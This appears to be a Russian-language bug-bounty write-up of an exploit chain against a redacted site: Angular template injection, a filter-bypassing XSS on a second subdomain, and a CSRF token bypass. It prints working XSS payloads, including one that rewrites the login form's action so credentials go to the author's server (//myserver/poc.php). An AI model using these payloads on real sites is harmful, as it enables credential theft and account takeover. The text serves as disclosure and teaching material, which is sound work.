Давным-давно, в далекой галактике хакинга… была форма входа, построенная на Angular. Эта история о том, как я смог украсть учетные данные, используя инъекцию шаблона Angular, XSS-уязвимость, и про обход CSRF защиты. Настоящий целевой сайт раскрыть нельзя, поэтому назову его redacted.com.
Инъекция шаблона Angular
При посещении https://subdomain.redacted.com, Wappalizer подсказал мне, что страница построена на Angular версии 1.8.2. На главной странице сайта находилась форма входа, которую я проверил на наличие инъекции шаблона Angular. Я ввёл {{7*7}} в качестве имени пользователя и «xxx» в качестве пароля. После нажатия кнопки входа, в поле ввода имени пользователя я увидел число 49. Значит, я успешно осуществил инъекцию шаблона Angular. Отлично!
Теперь настала очередь проверить сайт на наличие XSS. Обнаружив подходящий шаблон для Angular версий начиная с 1.6+, я воспользовался следующей нагрузкой:
{{constructor.constructor('alert(document.domain)')()}}
Поместив это в поле имени пользователя и нажав кнопку входа, я получил алерт. Ура! Уже хорошо. Но на данный момент я получил лишь self-XSS, что практически бесполезно.
Обход защиты от CSRF – превращение self-XSS в POST-based XSS
Форма входа использовала метод HTTP POST, поэтому следующим шагом было попытаться превратить self-XSS в POST-based XSS. Я скопировал форму в файл и попытался отправить, однако возникла ошибка.

В форме я заметил скрытое поле RequestVerificationToken:
<input name=”__RequestVerificationToken” type=”hidden” value=”wdvSsmrUEwOgqYbVXhGVM9QrRvuJ6Q1qECY0IdLheg_BZBi-nKix0KmO4Hhc3qsN7PLKR3S7_ruvTh9Zm7RCiuo2jntoBNGjkAQ0_LGj8T81″ />
Именно оно стало причиной провала моего эксперимента. Форма защищена с помощью CSRF-токена. Я попробовал несколько стандартных способов обхода, но ничего не сработало. Затем я проанализировал POST-запрос, отправляемый при попытке входа, и обнаружил ещё один RequestVerificationToken, передаваемый как cookie:
__RequestVerificationToken_L2HvYbluXTkr:S6X0D6jm1iP_Mu7srWO2srOcPW36oxZcrc2q8j6b1Ts_PeB3wxLteCsZdWE
Таким образом, защита от CSRF-атак основывалась одновременно на скрытой переменной в форме и специальной куке.

Видимо, приложение было разработано на ASP.NET. Этот токен отличался от значения в самой форме. После тестирования обоих токенов я понял, что необходимо правильно установить оба: и тот, что указан в форме, и тот, что хранится в куке. Тогда я составил следующую схему атаки:
1. Использую PHP curl для загрузки исходного кода страницы, чтобы извлечь оба токена: из cookie, и HTML-кода.
2. Создаю форму с внедрением украденного CSRF-токена (токен формы) и полезной нагрузкой в виде Angular-шаблона.
3. Чтобы задать значение второго CSRF-токена (cookie), необходим доступ к любому субдомену redacted.com, на котором имеется уязвимость XSS, для установки cookie:
document.cookie = "__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; path=/; domain=.
redacted.com
";
Поскольку сайт B не может использовать cookie для сайта A, cookie с указанием домена .redacted.com подойдут к любому другому субдомену redacted.com, включая целевую страницу (subdomain.redacted.com).
4. Установив нужный CSRF-cookie с помощью XSS, возвращаюсь обратно к моему скрипту и отправляю форму с нагрузкой Angular-XSS.
5. Итог: да, мой сценарий заработал ?
Обход фильтра XSS для установки cookie CSRF-токена
Сначала мне было сложно обнаружить уязвимый к XSS эндпоинт, но спустя некоторое время я нашел подходящую цель. Назовём её xsssubdomain.redacted.com.
https://xsssubdomain.redacted.com/somewhere/file.cfm
Эта был POST-XSS, а форма не имела ни защиты от CSRF, ни WAF. Тем не менее, там присутствовала фильтрация XSS. Форма состояла из множества полей, и я сосредоточился на первом параметре — адресе. Начав тестировать запросы через Burp Suite, я обнаружил, что могу вставлять фрагменты HTML-контента.

Значение заголовка <h1> успешно рендерилось на сайте — значит, внедрение HTML прошло успешно. Далее я попытался внедрить тег изображения, но потерпел неудачу. Там работал некий фильтр:

И тег <img>, и атрибут src были вырезаны. Следующим шагом я попробовал воспользоваться внедрением сценария (script), но столкнулся с ошибкой «Недопустимый тег»:

Я выяснил, что фильтр работает по принципу чёрного списка, удаляя определённые теги и события. Поэтому я решил искать те элементы, которые не попадают под запрет. Для этого я скопировал список всех возможных тегов и событий из руководства по XSS на портале PortSwigger: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet. Затем я воспользовался мощным расширением Turbo Intruder (https://portswigger.net/bappstore/9abaa233088242e8be252cd4ff534988) для Burp Suite от Джеймса Кеттла. Так как я пользуюсь бесплатной версией Burp Community Edition, стандартный Intruder довольно медленно обрабатывал запросы. Именно поэтому я выбрал ускоренную версию.
Собрав все разрешённые теги, я приступил ко второму этапу проверки, поиску подходящего события. Моя цель заключалась в поиске комбинации элементов, позволяющей построить рабочий XSS-эксплойт. Оказалось, что событие onauxclick не заблокировано, благодаря чему я сумел собрать первую часть нагрузки:
XXX" onauxclick=document.write(document.domain)
Так как нагрузка внедрялась внутри тега <input>, она требовала взаимодействия пользователя — клика правой кнопкой мыши по полю ввода. Эксперимент удался, но это не соответствовало моим ожиданиям — я хотел обойтись без взаимодействия со стороны пользователя. Дальнейшие поиски привели меня к выводу, что тег <video> и событие oncanplay тоже разрешены. Таким образом, я попробовал следующий вариант нагрузки:

Ничего себе! Весь тег целиком был обрезан. Я начал экспериментировать с магическими символами %0d, %0a и %09, соответствующими возврату каретки (CR), переносу строки (LF) и табуляции соответственно, пытаясь обойти фильтр, и это сработало ?. Добавление %0d обмануло фильтр, и вот что получилось:

Чтобы заставить нагрузку заработать, нужен был валидный MP4-файл, поскольку JavaScript-код исполняется, только при воспроизведении фильма. Я создал короткий видеоролик формата MP4 с помощью инструмента https://clideo.com и разместил его онлайн, предположим, по адресу: https://myserver/video.mp4. Я добавил атрибут autoplay, чтобы воспроизведение запускалось автоматически. Затем я включил ссылку на видео в свою нагрузку и...:

HTTP часть была обрезана. Ну почему?! Однако я мог записать тот же самый URL как //myserver/video.mp4, и он оставался неповреждённым. Поэтому я продолжил разработку финальной нагрузки, предназначенной для установки cookie:
XXX”><video autoplay oncanplay%0d=%0ddocument.cookie(“__RequestVerificationToken_L2HvYbluXTkr=TOKENVALUE; domain=.
redacted.com
; samesite=none”)><source src%0d=”//myserver/
video.mp
4″ type=”video/mp4″></video><!–
Я добавил в конце нагрузки конструкцию <!--, что немного ускоряет срабатывание эксплоита. Ответ оказался весьма шокирующим.

Куда, чёрт возьми, пропал тег <video>?! — спросил я себя. Спустя некоторое время я осознал, что проблема заключается в имени cookie. Видимо, тут действовал дополнительный уровень фильтрации. Если я задавал имя cookie как '__RequestVerification', нагрузка работала исправно, и ответ приходил нормальным. Стоит добавить хотя бы один лишний символ в конец имени cookie, например, сделать его таким: '__RequestVerificationX', и тег <video> снова исчезал. Я вновь вернулся к экспериментам с волшебными последовательностями символов (%0d, %0a и др.), но ничего не помогало ?. После небольшого перерыва я сделал открытие: строка "__RequestVerificationToken_L2HvYbluXTkr" использовалась в JavaScript-контексте — как аргумент метода document.cookie. Что если применить конкатенацию строк?
"RequestVerification"+"Token_L2HvYbluXTkr"
И представьте себе — это сработало. Некоторые символы пришлось преобразовать в URL-кодировку, и итоговая рабочая нагрузка выглядела так:

XXX"</td><video autoplay oncanplay%0d=%0d'document.write();document.cookie="__RequestVerification"%2b"Token_L2HvYbluXTkr=TOKENVALUE;domain=.
redacted.com
;path=/;samesite=none";document.location.href="//myserver/POC.php?ret=1%26rvtf=FORMTOKENVALUE"'><source src%0d="//myserver/
video.mp
4" type="video/mp4"></video><!--
Этот код делает следующее:
- очищает экран, так как веб-сайт с XSS может кратковременно мелькнуть,
- устанавливает RequestVerification cookie через XSS на субдомене,
- перенаправляет пользователя назад на Proof-of-Concept скрипт злоумышленника.
Кража учётных данных с сайта subdomain.redacted.com
Angular-based XSS нагрузка была помещена внутрь формы входа. Я не знаю, удастся ли мне похитить сессионный cookie аутентифицированного пользователя, потому что когда пользователь залогинился, он больше не видит форму входа. У меня даже нет аккаунта на данном ресурсе, чтобы проверить это. Я пришёл к мысли, что лучше всего поместить нагрузку, крадущую вводимые учётные данные непосредственно при входе пользователя. То есть в момент, когда пользователь вводит своё имя и пароль, эти данные отправляются на сервер злоумышленника, сохраняются в файле, а потом возвращаются на настоящий сайт. С точки зрения жертвы кажется, будто произошла обычная ошибка — возможно, неправильный ввод данных.
Сначала я пытался отправлять учётные данные через AJAX-запросы, но они, естественно, блокировались механизмом CORS. Во второй раз я пробовал передать данные через объект img.src, встраивая их в картинку. Такой подход иногда работает, но в моём случае результата не принёс. В ответе (браузер Firefox) появлялась ошибка NS_BINDING_ABORTED. Почему так произошло, остаётся загадкой. Самым простым решением оказалось изменить атрибут action формы и направить отправляемые данные на мой файл poc.php, вместо оригинального сайта. Пришлось закодировать апострофы в HTML-сущности, чтобы включить нагрузку в значение атрибута. Финальная версия нагрузки выглядела примерно так:
{{constructor.constructor('& #39$("div.validation-summary-errors").hide();$("input[type=submit]").click(function(e){$("#loginform").attr("action","//myserver/poc.php");})& #39')()}}
Она выполняла две вещи:
- скрывала сообщение об ошибках при выполнении инъекции шаблона,
- заменяла адрес цели атрибута action на скрипт poc.php.
Скрипт poc.php принимал полученные учётные данные, сохранял их в файле stolen_credentials.txt и перенаправлял жертву обратно на оригинальную форму входа.
PoC на PHP
Ниже представлен полный PHP-код, который объединяет всю цепочку найденных уязвимостей. Извиняюсь за хаотичность, это просто готовый эксплойт :)

Уязвимость типа POST-XSS изначально выходила за рамки программы вознаграждений за баги. Я знал это заранее, но воспринял ситуацию как вызов и надеялся, что мою находку примут, ведь речь шла о серьёзной угрозе захвата аккаунтов пользователей. Несмотря на длительное обсуждение и мои аргументы, отчёт всё равно хотели закрыть как нерелевантный ?.
Обновление: после долгих переговоров с триажерами компания повторно рассмотрела отчёт и риски, связанные с этой уязвимостью, и оценила уровень уязвимости как высокий. ?
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер